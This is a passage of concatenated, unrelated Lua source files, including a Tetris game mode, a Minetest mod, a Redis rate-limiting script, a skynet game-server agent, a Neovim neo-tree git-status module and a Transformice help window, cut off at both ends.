[3]={x=1}
};
function M.sendLocation()
return tcp.write({['robot position']=position});
end
-- don't stop using these functions once you start or they won't be accurate
-- orientation comes from trackOrientation.lua
function M.forward()
-- the loop will only perform one iteration
-- this is just a way to treat the properties generically
if (robot.forward()) then
for axis, change in pairs(forwardMap[orient.get()]) do
position[axis] = position[axis] + change;
end
M.sendLocation();
return position;
end
-- if the movement failed
return false;
end
function M.back()
if (robot.back()) then
for axis, change in pairs(backwardMap[orient.get()]) do
position[axis] = position[axis] + change;
end
M.sendLocation();
return position;
end
return false;
end
function M.up()
if (robot.up()) then
position.y = position.y + 1;
M.sendLocation();
return position;
end
return false;
end
function M.down()
if (robot.down()) then
position.y = position.y - 1;
M.sendLocation();
return position;
end
return false;
end
return M;
|
require 'funcs'
local GameMode = require 'tetris.modes.gamemode'
local Piece = require 'tetris.components.piece'
local History6RollsRandomizer = require 'tetris.randomizers.history_6rolls'
local MarathonA2Game = GameMode:extend()
MarathonA2Game.name = "Big A2"
MarathonA2Game.hash = "BigA2"
MarathonA2Game.tagline = "The points don't matter! Can you reach the invisible roll? Big mode too!"
function MarathonA2Game:new()
self.super:new()
self.big_mode = true
self.roll_frames = 0
self.combo = 1
self.grade = 0
self.grade_points = 0
self.grade_point_decay_counter = 0
self.randomizer = History6RollsRandomizer()
self.lock_drop = false
self.lock_hard_drop = false
self.enable_hold = false
self.next_queue_length = 1
end
function MarathonA2Game:getARE()
if self.level < 700 then return 27
elseif self.level < 800 then return 18
else return 14 end
end
function MarathonA2Game:getLineARE()
if self.level < 600 then return 27
elseif self.level < 700 then return 18
elseif self.level < 800 then return 14
else return 8 end
end
function MarathonA2Game:getDasLimit()
if self.level < 500 then return 15
elseif self.level < 900 then return 9
else return 7 end
end
function MarathonA2Game:getLineClearDelay()
if self.level < 500 then return 40
elseif self.level < 600 then return 25
elseif self.level < 700 then return 16
elseif self.level < 800 then return 12
else return 6 end
end
function MarathonA2Game:getLockDelay()
if self.level < 900 then return 30
else return 17 end
end
function MarathonA2Game:getGravity()
if (self.level < 30) then return 4/256
elseif (self.level < 35) then return 6/256
elseif (self.level < 40) then return 8/256
elseif (self.level < 50) then return 10/256
elseif (self.level < 60) then return 12/256
elseif (self.level < 70) then return 16/256
elseif (self.level < 80) then return 32/256
elseif (self.level < 90) then return 48/256
elseif (self.level < 100) then return 64/256
elseif (self.level < 120) then return 80/256
elseif (self.level < 140) then return 96/256
elseif (self.level < 160) then return 112/256
elseif (self.level < 170) then return 128/256
elseif (self.level < 200) then return 144/256
elseif (self.level < 220) then return 4/256
elseif (self.level < 230) then return 32/256
elseif (self.level < 233) then return 64/256
elseif (self.level < 236) then return 96/256
elseif (self.level < 239) then return 128/256
elseif (self.level < 243) then return 160/256
elseif (self.level < 247) then return 192/256
elseif (self.level < 251) then return 224/256
elseif (self.level < 300) then return 1
elseif (self.level < 330) then return 2
elseif (self.level < 360) then return 3
elseif (self.level < 400) then return 4
elseif (self.level < 420) then return 5
elseif (self.level < 450) then return 4
elseif (self.level < 500) then return 3
else return 20
end
end
function MarathonA2Game:advanceOneFrame()
if self.clear then
self.roll_frames = self.roll_frames + 1
if self.roll_frames < 0 then return false end
if self.roll_frames > 3694 then
self.completed = true
end
elseif self.ready_frames == 0 then
self.frames = self.frames + 1
end
return true
end
function MarathonA2Game:onPieceEnter()
if (self.level % 100 ~= 99 and self.level ~= 998) and not self.clear and self.frames ~= 0 then
self.level = self.level + 1
end
end
function MarathonA2Game:onLineClear(cleared_row_count)
cleared_row_count = cleared_row_count / 2
self.level = math.min(self.level + cleared_row_count, 999)
if self.level == 999 and not self.clear then
self.clear = true
self.grid:clear()
self.roll_frames = -150
end
self.lock_drop = self.level >= 900
self.lock_hard_drop = self.level >= 900
end
function MarathonA2Game:updateScore(level, drop_bonus, cleared_lines)
if not self.clear then
cleared_lines = cleared_lines / 2
self:updateGrade(cleared_lines)
if self.grid:checkForBravo(cleared_lines) then self.bravo = 4 else self.bravo = 1 end
if cleared_lines > 0 then
self.combo = self.combo + (cleared_lines - 1) * 2
self.score = self.score + (
(math.ceil((level + cleared_lines) / 4) + drop_bonus) *
cleared_lines * self.combo * self.bravo
)
else
self.combo = 1
end
self.drop_bonus = 0
end
end
local grade_point_bonuses = {
{10, 20, 40, 50},
{10, 20, 30, 40},
{10, 20, 30, 40},
{10, 15, 30, 40},
{10, 15, 20, 40},
{5, 15, 20, 30},
{5, 10, 20, 30},
{5, 10, 15, 30},
{5, 10, 15, 30},
{5, 10, 15, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
{2, 12, 13, 30},
}
local grade_point_decays = {
125, 80, 80, 50, 45, 45, 45,
40, 40, 40, 40, 40, 30, 30, 30,
20, 20, 20, 20, 20,
15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
10, 10
}
local combo_multipliers = {
{1.0, 1.0, 1.0, 1.0},
{1.2, 1.4, 1.5, 1.0},
{1.2, 1.5, 1.8, 1.0},
{1.4, 1.6, 2.0, 1.0},
{1.4, 1.7, 2.2, 1.0},
{1.4, 1.8, 2.3, 1.0},
{1.4, 1.9, 2.4, 1.0},
{1.5, 2.0, 2.5, 1.0},
{1.5, 2.1, 2.6, 1.0},
{2.0, 2.5, 3.0, 1.0},
}
local grade_conversion = {
[0] = 0,
1, 2, 3, 4, 5, 5, 6, 6, 7, 7,
7, 8, 8, 8, 9, 9, 9, 10, 11, 12,
12, 12, 13, 13, 14, 14, 15, 15, 16, 16,
17
}
function MarathonA2Game:updateGrade(cleared_lines)
if self.clear then return end
if cleared_lines == 0 then
self.grade_point_decay_counter = self.grade_point_decay_counter + 1
if self.grade_point_decay_counter >= grade_point_decays[self.grade + 1] then
self.grade_point_decay_counter = 0
self.grade_points = math.max(0, self.grade_points - 1)
end
else
self.grade_points = self.grade_points + (
math.ceil(
grade_point_bonuses[self.grade + 1][cleared_lines] *
combo_multipliers[math.min(self.combo, 10)][cleared_lines]
) * (1 + math.floor(self.level / 250))
)
if self.grade_points >= 100 and self.grade < 31 then
self.grade_points = 0
self.grade = self.grade + 1
end
end
end
function MarathonA2Game:getLetterGrade()
local grade = grade_conversion[self.grade]
if grade < 9 then
return tostring(9 - grade)
elseif grade < 18 then
return "S" .. tostring(grade - 8)
end
end
MarathonA2Game.rollOpacityFunction = function(age)
if age < 240 then return 1
elseif age > 300 then return 0
else return 1 - (age - 240) / 60 end
end
function MarathonA2Game:drawGrid(ruleset)
if self.clear and not (self.completed or self.game_over) then
self.grid:drawInvisible(self.rollOpacityFunction, nil, false)
else
self.grid:draw()
if self.piece ~= nil and self.level < 100 then
self:drawGhostPiece(ruleset)
end
end
end
function MarathonA2Game:drawScoringInfo()
love.graphics.setColor(1, 1, 1, 1)
love.graphics.setFont(font_3x5_2)
love.graphics.print(
self.das.direction .. " " ..
self.das.frames .. " " ..
strTrueValues(self.prev_inputs)
)
love.graphics.printf("NEXT", 64, 40, 40, "left")
love.graphics.printf("GRADE", 240, 120, 40, "left")
love.graphics.printf("SCORE", 240, 200, 40, "left")
love.graphics.printf("LEVEL", 240, 320, 40, "left")
love.graphics.setFont(font_3x5_3)
if self.roll_frames > 3694 then love.graphics.setColor(1, 0.5, 0, 1)
elseif self.clear then love.graphics.setColor(0, 1, 0, 1) end
love.graphics.printf(self:getLetterGrade(), 240, 140, 90, "left")
love.graphics.setColor(1, 1, 1, 1)
love.graphics.printf(self.score, 240, 220, 90, "left")
love.graphics.printf(self.level, 240, 340, 40, "right")
love.graphics.printf(self:getSectionEndLevel(), 240, 370, 40, "right")
love.graphics.setFont(font_8x11)
love.graphics.printf(formatTime(self.frames), 64, 420, 160, "center")
end
function MarathonA2Game:getHighscoreData()
return {
grade = grade_conversion[self.grade],
score = self.score,
level = self.level,
frames = self.frames,
}
end
function MarathonA2Game:getSectionEndLevel()
if self.level >= 900 then return 999
else return math.floor(self.level / 100 + 1) * 100 end
end
function MarathonA2Game:getBackground()
return math.floor(self.level / 100)
end
return MarathonA2Game
|
minetest.register_node("farming_plus:cocoa_sapling", {
description = "Cocoa Tree Sapling",
drawtype = "plantlike",
tiles = {"farming_cocoa_sapling.png"},
inventory_image = "farming_cocoa_sapling.png",
wield_image = "farming_cocoa_sapling.png",
paramtype = "light",
walkable = false,
groups = {dig_immediate=3,flammable=2},
sounds = default.node_sound_defaults(),
})
minetest.register_node("farming_plus:cocoa_leaves", {
drawtype = "allfaces_optional",
tiles = {"farming_banana_leaves.png"},
paramtype = "light",
groups = {snappy=3, leafdecay=3, flammable=2, not_in_creative_inventory=1},
drop = {
max_items = 1,
items = {
{
items = {'farming_plus:cocoa_sapling'},
rarity = 20,
},
}
},
sounds = default.node_sound_leaves_defaults(),
})
minetest.register_abm({
nodenames = {"farming_plus:cocoa_sapling"},
interval = 60,
chance = 20,
action = function(pos, node)
farming:generate_tree(pos, "default:tree", "farming_plus:cocoa_leaves", {"default:sand", "default:desert_sand"}, {["farming_plus:cocoa"]=20})
end
})
minetest.register_on_generated(function(minp, maxp, blockseed)
if math.random(1, 100) > 5 then
return
end
local tmp = {x=(maxp.x-minp.x)/2+minp.x, y=(maxp.y-minp.y)/2+minp.y, z=(maxp.z-minp.z)/2+minp.z}
local pos = minetest.env:find_node_near(tmp, maxp.x-minp.x, {"default:desert_sand"})
if pos ~= nil then
farming:generate_tree({x=pos.x, y=pos.y+1, z=pos.z}, "default:tree", "farming_plus:cocoa_leaves", {"default:sand", "default:desert_sand"}, {["farming_plus:cocoa"]=20})
end
end)
minetest.register_node("farming_plus:cocoa", {
description = "Cocoa",
tiles = {"farming_cocoa.png"},
visual_scale = 0.5,
inventory_image = "farming_cocoa.png",
wield_image = "farming_cocoa.png",
drawtype = "torchlike",
paramtype = "light",
sunlight_propagates = true,
walkable = false,
groups = {fleshy=3,dig_immediate=3,flammable=2},
sounds = default.node_sound_defaults(),
})
minetest.register_craftitem("farming_plus:cocoa_bean", {
description = "Cocoa Bean",
inventory_image = "farming_cocoa_bean.png",
})
minetest.register_craft({
output = "farming_plus:cocoa_bean 10",
type = "shapeless",
recipe = {"farming_plus:cocoa"},
})
|
project "Sandbox"
--kind "WindowedApp"
kind "ConsoleApp"
entrypoint "mainCRTStartup"
language "C++"
cppdialect "C++17"
staticruntime "off"
targetdir ("%{wks.location}/bin/" .. outputdir .. "/%{prj.name}")
objdir ("%{wks.location}/bin-int/" .. outputdir .. "/%{prj.name}")
files
{
"src/**.h",
"src/**.cpp"
}
includedirs
{
"%{wks.location}/Atlas/vendor/spdlog/include",
"%{wks.location}/Atlas/src",
"%{wks.location}/Atlas/vendor",
"%{IncludeDir.glm}",
}
links
{
"Atlas",
}
filter "system:windows"
systemversion "latest"
defines
{
"ATL_PLATFORM_WINDOWS"
}
filter "configurations:Debug"
defines "ATL_DEBUG"
runtime "Debug"
symbols "on"
filter "configurations:Release"
defines "ATL_RELEASE"
runtime "Release"
optimize "on"
filter "configurations:Dist"
defines "ATL_DIST"
runtime "Release"
optimize "on"
|
local L = BigWigs:NewBossLocale("Eye of Azshara Trash", "deDE")
if not L then return end
if L then
L.wrangler = "Zänker der Hassnattern"
L.stormweaver = "Sturmwirkerin der Hassnattern"
L.crusher = "Zermalmer der Hassnattern"
L.oracle = "Orakel der Hassnattern"
L.siltwalker = "Treibsandläufer der Mak'rana"
L.tides = "Aufgewühlte Fluten"
L.arcanist = "Arkanistin der Hassnattern"
end
L = BigWigs:NewBossLocale("Lady Hatecoil", "deDE")
if L then
L.custom_on_show_helper_messages = "Hinweis für Statische Nova und Gebündelter Blitz"
L.custom_on_show_helper_messages_desc = "Wenn diese Option aktiviert ist, wird ein Hinweis angezeigt, welcher beinhaltet ob das Wasser oder Land sicher ist wenn der Boss |cff71d5ffStatische Nova|r oder |cff71d5ffGebündelter Blitz|r wirkt."
L.water_safe = "%s (Wasser ist sicher)"
L.land_safe = "%s (Land ist sicher)"
end
|
local Transition = {}
Transition.__index = Transition
function Transition.new(effect, duration)
local trans = {}
setmetatable(trans, Transition)
trans.count = 0
trans.sign = 1
trans.effect = effect
trans.duration = duration
trans.callback = function() return nil end
return trans
end
function Transition:finished()
return self.count > self.duration
end
function Transition:forward(callback)
self.callback = callback
self.sign = 1
self.count = 0
self.alpha = 1
end
function Transition:backward(callback)
self.callback = callback
self.sign = -1
self.count = 0
self.alpha = 0
end
function Transition:update(dt)
self.count = self.count + dt
if self:finished() then
self.callback()
self.count = 0
return
end
if self.sign > 0 then
self.alpha = 1.0 - math.min(self.count + (dt * 5), 1.0)
else
self.alpha = math.min(self.count + (dt * 5), 1.0)
end
end
function Transition:draw(x, y, width, height)
love.graphics.setColor(0, 0, 0, self.alpha * 255)
love.graphics.rectangle('fill', x, y, width, height)
love.graphics.setColor(255, 255, 255, 255)
end
return Transition
|
-- Controls for cmus music player
-- Usage: local cmus = require "mjolnir.lb.cmus"
-- Inspired by https://github.com/Linell/mjolnir.lb.spotify
require 'os'
local cmus = {}
local alert = require "mjolnir.alert"
function cmus.play()
os.execute('/usr/local/bin/cmus-remote -u')
alert.show('▶', 0.5)
end
function cmus.next()
os.execute('/usr/local/bin/cmus-remote -n')
alert.show('>', 0.5)
end
function cmus.previous()
os.execute('/usr/local/bin/cmus-remote -r')
alert.show('<', 0.5)
end
return cmus
|
--------------------------------------------------------------------------------
-- Handler.......... : onScoreUploaded
-- Author........... :
-- Description...... :
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
function Steam.onScoreUploaded ( bOK )
--------------------------------------------------------------------------------
if bOK then
log.message ( this.sDebugLabel ( ), "Score was uploaded!" )
--
-- Score upload was a success, remove the 4 past entries from the table
--
table.removeFirst ( this.tPendingScores ( ) )
table.removeFirst ( this.tPendingScores ( ) )
-- Grab the AI and callback and send an event to them if they exist
local sAI, sCallback = table.getRangeAt ( this.tPendingScores ( ), 0, 2 )
table.removeFirst ( this.tPendingScores ( ) )
table.removeFirst ( this.tPendingScores ( ) )
if sAI and sCallback then
user.sendEvent ( this.getUser ( ), sAI, sCallback, bOK )
end
else
log.warning ( this.sDebugLabel ( ), "Could not upload score" )
local sAI, sCallback = table.getRangeAt ( this.tPendingScores ( ), 2, 2 )
if sAI and sCallback then
user.sendEvent ( this.getUser ( ), sAI, sCallback, bOK )
end
end
--
-- Handle the next entries in the table and the clearing of the inUse flag
--
if table.getSize ( this.tPendingScores ( ) ) > 1 then
local sLeaderboardName, nScore = table.getRangeAt ( this.tPendingScores ( ), 0, 2 )
if this.sLeaderboardSelected ( ) ~= sLeaderboardName then
log.message ( this.sDebugLabel ( ), "Selecting new leaderboard ", sLeaderboardName )
--
-- Request the leaderboard and wait for onFoundLeaderboard callback
--
Steamworks.FindLeaderboard ( sLeaderboardName )
else
log.message ( this.sDebugLabel ( ), "Uploading next score ", nScore )
--
-- The desired leaderboard is already selected, upload the score and
-- wait for the onScoreUploaded callback
--
Steamworks.UploadScore ( nScore )
end
else
this.bLeaderboardsInUse ( false )
end
--------------------------------------------------------------------------------
end
--------------------------------------------------------------------------------
|
-- Check a collection of quota counters to identify if an item should be rate
-- limited. For each quota, repeat the same set of ``KEYS`` and ``ARGV``:
--
-- ``KEYS`` (2 per quota):
-- * [string] Key of the counter.
-- * [string] Key of the refund counter.
--
-- ``ARGV`` (3 per quota):
-- * [number] Quota limit. Can be ``-1`` for unlimited quotas.
-- * [number] Expiration time in seconds for the key.
-- * [number] Quantity to increment the quota by.
--
-- For example, to check the following two quotas each with a timeout of 10 minutes:
-- * Key ``foo``, refund key ``foo_refund``, limit ``10``; quantity ``5``
-- * Key ``bar``, refund key ``bar_refund``, limit ``20``; quantity ``1``
--
-- Send these values:
--
-- KEYS = {"foo", "foo_refund", "bar", "bar_refund"}
-- ARGV = {10, 600, 5, 20, 600, 1}
--
-- The script applies the following logic:
-- * If all checks pass, the item is accepted and the counters for all quotas
-- are incremented.
-- * If any check fails, the item is rejected and the counters for all remain
-- unchanged.
--
-- The result is a Lua table/array (Redis multi bulk reply) that specifies
-- whether or not the item was *rejected* based on the provided limit.
assert(#KEYS % 2 == 0, "there must be 2 keys per quota")
assert(#ARGV % 3 == 0, "there must be 3 args per quota")
assert(#KEYS / 2 == #ARGV / 3, "incorrect number of keys and arguments provided")
local results = {}
local failed = false
local num_quotas = #KEYS / 2
for i=0, num_quotas - 1 do
local k = i * 2 + 1
local v = i * 3 + 1
local limit = tonumber(ARGV[v])
local quantity = tonumber(ARGV[v+2])
local rejected = false
-- limit=-1 means "no limit"
if limit >= 0 then
rejected = (redis.call('GET', KEYS[k]) or 0) - (redis.call('GET', KEYS[k + 1]) or 0) + quantity > limit
end
if rejected then
failed = true
end
results[i + 1] = rejected
end
if not failed then
for i=0, num_quotas - 1 do
local k = i * 2 + 1
local v = i * 3 + 1
redis.call('INCRBY', KEYS[k], ARGV[v + 2])
redis.call('EXPIREAT', KEYS[k], ARGV[v + 1])
end
end
return results
|
local skynet = require "skynet"
local netpack = require "skynet.netpack"
local socket = require "skynet.socket"
local sproto = require "sproto"
local sprotoloader = require "sprotoloader"
local queue = require "skynet.queue"
local cs = queue()
local TAG = "Agent"
local Agent = {}
local host
function Agent:onRequest(name, request)
local pRet = skynet.call(self.m_pGateServiceMgr, "lua", "onReceivePackage", skynet.self(), name, request)
end
-- function Agent:onSendPackage(name, info)
-- Log.d(TAG, "发送给玩家Agent[%s]", skynet.self())
-- Log.dump(TAG, info, name)
-- if not self.m_pSocketfd or self.m_pSocketfd <= 0 then
-- Log.d(TAG, "socketfd is not exit!")
-- return
-- end
-- local pack = self.m_pSendPackage(name, info)
-- local package = string.pack(">s2", pack)
-- -- Log.d(TAG, "pack[%s] package[%s]", pack, package)
-- socket.write(self.m_pSocketfd, package)
-- end
-- function Agent:onReceivePackage(type, ...)
-- if self.m_pIsClosing then return end
-- if type == "REQUEST" then
-- self.m_pLastSendTime = os.time()
-- local ok, result = pcall(self.onRequest, self, ...)
-- if not ok then
-- skynet.error(result)
-- end
-- else
-- Log.e(TAG, "doesn't support request client")
-- end
-- end
-- skynet.register_protocol {
-- name = "client",
-- id = skynet.PTYPE_CLIENT,
-- unpack = function(msg, sz)
-- return host:dispatch(msg, sz)
-- end,
-- dispatch = function(session, source, type, name, request, response)
-- Log.d(TAG, "recieve session[%s] type[%s] name[%s]", session, type, name)
-- if name then
-- Log.dump(TAG, request, "request")
-- cs(Agent.onReceivePackage, Agent, type, name, request, response)
-- end
-- end
-- }
function Agent:onSendPackage(name, info)
Log.d(TAG, "发送给玩家Agent[%s]", skynet.self())
Log.dump(TAG, info, name)
if not self.m_pSocketfd or self.m_pSocketfd <= 0 then
Log.d(TAG, "socketfd is not exit!")
return
end
local package = skynet.call(".pbc", "lua", "pack", "S2C.".. name, info)
socket.write(self.m_pSocketfd, package)
end
function Agent:onReceivePackage(type, ...)
if self.m_pIsClosing then return end
if type == "REQUEST" then
self.m_pLastSendTime = os.time()
local ok, result = pcall(self.onRequest, self, ...)
if not ok then
skynet.error(result)
end
else
Log.e(TAG, "doesn't support request client")
end
end
skynet.register_protocol {
name = "client",
id = skynet.PTYPE_CLIENT,
unpack = function(msg, sz)
return skynet.tostring(msg, sz)
end,
dispatch = function(session, source, data)
local type, name, request = skynet.call(".pbc", "lua", "unpack", data)
Log.d(TAG, "recieve session[%s] type[%s] name[%s]", session, type, name)
if name then
Log.dump(TAG, request, "request")
cs(Agent.onReceivePackage, Agent, type, name, request)
end
end
}
function Agent:onGetClientIp()
return self.m_pClientIp
end
function Agent:start(conf)
Log.dump(TAG, conf, "conf")
host = sprotoloader.load(1):host("package")
self.m_pSendPackage = host:attach(sprotoloader.load(2))
self.m_pGateServiceMgr = skynet.localname(".GateServiceMgr")
local pSplitTable = string.split(conf.iAddr, ":")
-- Log.dump(TAG, pSplitTable, "pSplitTable")
self.m_pClientIp = pSplitTable[1] or ""
self.m_pLastSendTime = os.time()
self.m_pSocketfd = conf.iSocketfd
self.m_pWatchdog = conf.iWatchdog
local pRet = skynet.call(self.m_pGateServiceMgr, "lua", "onRegisterAgent", skynet.self())
local pRet = skynet.call(conf.iGate, "lua", "forward", self.m_pSocketfd)
end
function Agent:disconnect()
cs(function()
Log.d(TAG, "disconnect Agent[%s]", skynet.self())
skynet.call(self.m_pGateServiceMgr, "lua", "onDisConnect", skynet.self(), false)
skynet.exit()
end)
end
--!
--! @brief 主动关闭agent,断开链接
--!
--! @return { description_of_the_return_value }
--!
function Agent:close()
if not self.m_pIsClosing then
self.m_pIsClosing = true
skynet.send(self.m_pWatchdog, "lua", "socket", "close", self.m_pSocketfd)
end
return
end
function Agent:onCheckTooTimeNotActive()
-- 如果1分钟内没有包通信则直接断开
local pCurTime = os.time()
if self.m_pLastSendTime > 0 then
if pCurTime - self.m_pLastSendTime > 60 then
self:close()
end
end
end
skynet.start(function()
skynet.dispatch("lua", function(_, _, command, ...)
local f = Agent[command]
Log.d(TAG, "command[%s]", command)
if f then
skynet.ret(skynet.pack(f(Agent, ...)))
end
end)
end)
|
-- -*- coding: utf-8 -*-
local ngx_loggers = require "logdumper"
local funcall = ngx_loggers:LogDumper()
|
local Path = require("plenary.path")
local utils = require("neo-tree.utils")
local events = require("neo-tree.events")
local Job = require("plenary.job")
local log = require("neo-tree.log")
local git_utils = require("neo-tree.git.utils")
local M = {}
local function get_simple_git_status_code(status)
-- Prioritze M then A over all others
if status:match("U") or status == "AA" or status == "DD" then
return "U"
elseif status:match("M") then
return "M"
elseif status:match("[ACR]") then
return "A"
elseif status:match("!$") then
return "!"
elseif status:match("?$") then
return "?"
else
local len = #status
while len > 0 do
local char = status:sub(len, len)
if char ~= " " then
return char
end
len = len - 1
end
return status
end
end
local function get_priority_git_status_code(status, other_status)
if not status then
return other_status
elseif not other_status then
return status
elseif status == "U" or other_status == "U" then
return "U"
elseif status == "?" or other_status == "?" then
return "?"
elseif status == "M" or other_status == "M" then
return "M"
elseif status == "A" or other_status == "A" then
return "A"
else
return status
end
end
local parse_git_status_line = function(context, line)
local git_root = context.git_root
local git_status = context.git_status
local exclude_directories = context.exclude_directories
local status = line:sub(1, 2)
local relative_path = line:sub(4)
local arrow_pos = relative_path:find(" -> ")
if arrow_pos ~= nil then
relative_path = line:sub(arrow_pos + 5)
end
-- remove any " due to whitespace in the path
relative_path = relative_path:gsub('^"', ""):gsub('$"', "")
if utils.is_windows == true then
relative_path = utils.windowize_path(relative_path)
end
local absolute_path = utils.path_join(git_root, relative_path)
git_status[absolute_path] = status
if not exclude_directories then
-- Now bubble this status up to the parent directories
local parts = utils.split(absolute_path, utils.path_separator)
table.remove(parts) -- pop the last part so we don't override the file's status
utils.reduce(parts, "", function(acc, part)
local path = acc .. utils.path_separator .. part
if utils.is_windows == true then
path = path:gsub("^" .. utils.path_separator, "")
end
local path_status = git_status[path]
local file_status = get_simple_git_status_code(status)
git_status[path] = get_priority_git_status_code(path_status, file_status)
return path
end)
end
end
local parse_git_status = function(git_root, result, exclude_directories)
local context = {
git_root = git_root,
git_status = {},
exclude_directories = exclude_directories,
}
for _, line in ipairs(result) do
parse_git_status_line(context, line)
end
return context.git_status
end
---Parse "git status" output for the current working directory.
---@exclude_directories boolean Whether to skip bubling up status to directories
---@path string Path to run the git status command in, defaults to cwd.
---@return table table Table with the path as key and the status as value.
---@return string string The git root for the specified path.
M.status = function(exclude_directories, path)
local cmd
local git_root = git_utils.get_repository_root(path)
if utils.truthy(git_root) then
cmd = 'git -C "' .. git_root .. '" status . --porcelain=v1'
else
return {}
end
local ok, result = utils.execute_command(cmd)
if not ok then
return {}
end
local git_status = parse_git_status(git_root, result, exclude_directories)
return git_status, git_root
end
M.status_async = function(path)
local git_root = git_utils.get_repository_root(path)
if utils.truthy(git_root) then
log.trace("git.status.status_async called")
else
log.trace("status_async: not a git folder: ", path)
return false
end
local context = {
git_root = git_root,
git_status = {},
exclude_directories = false,
}
local wrapped_process_line = vim.schedule_wrap(function(err, line)
if err and err > 0 then
log.error("status_async error: ", err, line)
else
parse_git_status_line(context, line)
end
end)
local event_id = "git_status_" .. git_root
utils.debounce(event_id, function()
Job
:new({
command = "git",
args = { "-C", git_root, "status", "--porcelain=v1" },
enable_recording = false,
on_stdout = wrapped_process_line,
on_stderr = function(err, line)
if err and err > 0 then
log.error("status_async error: ", err, line)
end
end,
on_exit = function(job, return_val)
utils.debounce(event_id, nil, nil, nil, utils.debounce_action.COMPLETE_ASYNC_JOB)
if return_val == 0 then
log.trace("status_async completed")
vim.schedule(function()
events.fire_event(events.GIT_STATUS_CHANGED, {
git_root = context.git_root,
git_status = context.git_status,
})
end)
end
end,
})
:start()
end, 1000, utils.debounce_strategy.CALL_FIRST_AND_LAST, utils.debounce_action.START_ASYNC_JOB)
return true
end
return M
|
local HelpInterface
do
local texts = { -- name, max chars
{"help", nil},
{"staff", 700},
{"rules", 800},
{"contribute", nil},
{"changelog", nil}
}
local extra_chars = {
ru = 250,
he = 250
}
local page_info = {}
local scroll_info = {}
local images = {}
for lang, translation in next, translations do
page_info[ lang ] = {}
for index = 1, #texts do
local info = texts[index]
local text = translation["help_" .. info[1]]
local data = {}
if #text > 1100 and info[2] then
text = "\n" .. text
local breakpoint = info[2] + (extra_chars[lang] or 0)
for slice = 1, #text, breakpoint do
local page = string.sub(text, slice, slice + 1999)
local newline = string.find(page, "\n")
if newline then
repeat
newline = newline + 1
until string.find(page, "\n", newline) ~= 1
page = string.sub(page, newline)
data[(slice - 1) / breakpoint + 1] = page
else
break
end
end
if not data[2] then
data = data[1]
end
else
data = text
end
if data[1] then
data.scrollable = true
end
page_info[ lang ][ info[1] ] = data
end
end
local closeButton = Button.new()
HelpInterface = Interface.new(100, 50, 600, 330, true)
:setDefaultArgs("help")
:loadTemplate(WindowBackground)
:onUpdate(function(self, player)
if not self.open[player] then -- first update (show)
bindKeyboard(player, 1, true, true)
bindKeyboard(player, 3, true, true)
scroll_info[player] = 1
end
end)
:onRemove(function(self, player)
bindKeyboard(player, 1, true, false)
bindKeyboard(player, 3, true, false)
scroll_info[player] = nil
if images[player] then
for i = 1, 2 do
tfm.exec.removeImage(images[player][i])
end
images[player] = nil
end
end)
-- Close button
:loadComponent(
closeButton:setText("")
:onClick(function(self, player)
self.parent:remove(player)
end)
:setPosition(60, 312):setSize(480, 10)
)
:addTextArea({
x = 60, y = 308,
width = 480, height = 15,
text = function(self, player)
return ("<a href='event:" .. closeButton.callback ..
"'><p align='center'>" .. translatedMessage("close", player) ..
"\n")
end,
alpha = 0
})
-- Tabs
:loadComponent( -- Help
Button.new():setTranslation("help")
:onClick(function(self, player, page)
scroll_info[player] = 1
self.parent:update(player, "help")
end)
:canUpdate(true):onUpdate(function(self, player, page)
if page == "help" then
self:disable(player)
else
self:enable(player)
end
end)
:setPosition(60, 10):setSize(80, 18)
)
:loadComponent( -- Staff
Button.new():setTranslation("staff")
:onClick(function(self, player, page)
scroll_info[player] = 1
self.parent:update(player, "staff")
end)
:canUpdate(true):onUpdate(function(self, player, page)
if page == "staff" then
self:disable(player)
else
self:enable(player)
end
end)
:setPosition(160, 10):setSize(80, 18)
)
:loadComponent( -- Rules
Button.new():setTranslation("rules")
:onClick(function(self, player, page)
scroll_info[player] = 1
self.parent:update(player, "rules")
end)
:canUpdate(true):onUpdate(function(self, player, page)
if page == "rules" then
self:disable(player)
else
self:enable(player)
end
end)
:setPosition(260, 10):setSize(80, 18)
)
:loadComponent( -- Contribute
Button.new():setTranslation("contribute")
:onClick(function(self, player, page)
scroll_info[player] = 1
self.parent:update(player, "contribute")
end)
:canUpdate(true):onUpdate(function(self, player, page)
if page == "contribute" then
self:disable(player)
else
self:enable(player)
end
end)
:setPosition(360, 10):setSize(80, 18)
)
:loadComponent( -- Changelog
Button.new():setTranslation("changelog")
:onClick(function(self, player, page)
scroll_info[player] = 1
self.parent:update(player, "changelog")
end)
:canUpdate(true):onUpdate(function(self, player, page)
if page == "changelog" then
self:disable(player)
else
self:enable(player)
end
end)
:setPosition(460, 10):setSize(80, 18)
)
:addTextArea({
x = 0, y = 35,
width = 0, height = 270,
canUpdate = true,
text = function(self, player, page)
local info = page_info[ player_langs[player].name ][ page ]
local img = images[player]
local parent = self.parent
if info.scrollable then
if not img then
img = {
[1] = tfm.exec.addImage(
"1719e0e550a.png", "&1",
HelpInterface.x + 585,
HelpInterface.y + 40,
player
) -- scroll frame
}
images[player] = img
end
local scroll = scroll_info[player]
if img[2] then
tfm.exec.removeImage(img[2])
end
img[2] = tfm.exec.addImage(
"1719e173ac6.png", "&1",
HelpInterface.x + 585,
HelpInterface.y + 40 + (125 / (#info - 1)) * (scroll - 1),
player
)
local desiredWidth = 570
if self.width ~= desiredWidth then
self.width = desiredWidth
ui.addTextArea(
self.id, "", player,
self.x, self.y, self.width, self.height,
self.background, self.border, self.alpha,
parent.fixed
)
local txt
for index = 1, parent.textarea_count do
txt = parent.textareas[index]
if txt.isScrollArrow then
txt.text_str = txt.text
end
end
end
return info[scroll]
end
if img then
for i = 1, 2 do
tfm.exec.removeImage(img[i])
end
images[player] = nil
end
local desiredWidth = 600
if self.width ~= desiredWidth then
self.width = desiredWidth
ui.addTextArea(
self.id, "", player,
self.x, self.y, self.width, self.height,
self.background, self.border, self.alpha,
parent.fixed
)
local txt
for index = 1, parent.textarea_count do
txt = parent.textareas[index]
if txt.isScrollArrow then
